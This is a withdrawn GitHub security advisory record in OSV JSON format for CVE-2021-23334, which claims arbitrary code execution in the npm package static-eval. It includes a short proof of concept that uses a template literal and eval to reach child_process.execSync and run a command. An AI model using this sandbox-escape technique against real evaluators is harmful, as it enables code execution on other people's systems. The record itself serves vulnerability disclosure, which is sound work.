{"id":"GHSA-8v27-2fg9-7h62","summary":"Withdrawn: Arbitrary Code Execution in static-eval","details":"All versions of package static-eval are vulnerable to Arbitrary Code Execution using FunctionExpressions and TemplateLiterals. PoC: var evaluate = require('static-eval'); var parse = require('esprima').parse; var src=\"(function (x) { return ${eval(\"console.log(global.process.mainModule.constructor._load('child_process').execSync('ls').toString())\")} })()\" var ast = parse(src).body[0].expression; evaluate(ast)\n\n# WITHDRAWN\n\nThis was deemed not a vulnerability. See [this issue](https://github.com/browserify/static-eval/issues/34) for details.","aliases":["CVE-2021-23334"],"modified":"2026-09-10T03:49:14.647777286Z","published":"2021-05-06T16:11:25Z","withdrawn":"2021-05-04T20:26:20Z","database_specific":{"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2021-03-18T23:01:14Z","nvd_published_at":"2021-02-11T12:15:00Z","cwe_ids":["CWE-94"]},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-23334"},{"type":"WEB","url":"https://github.com/browserify/static-eval/blob/master/index.js%23L180"},{"type":"WEB","url":"https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1071860"},{"type":"WEB","url":"https://snyk.io/vuln/SNYK-JS-STATICEVAL-1056765"}],"affected":[{"package":{"name":"static-eval","ecosystem":"npm","purl":"pkg:npm/static-eval"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"2.1.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-8v27-2fg9-7h62/GHSA-8v27-2fg9-7h62.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}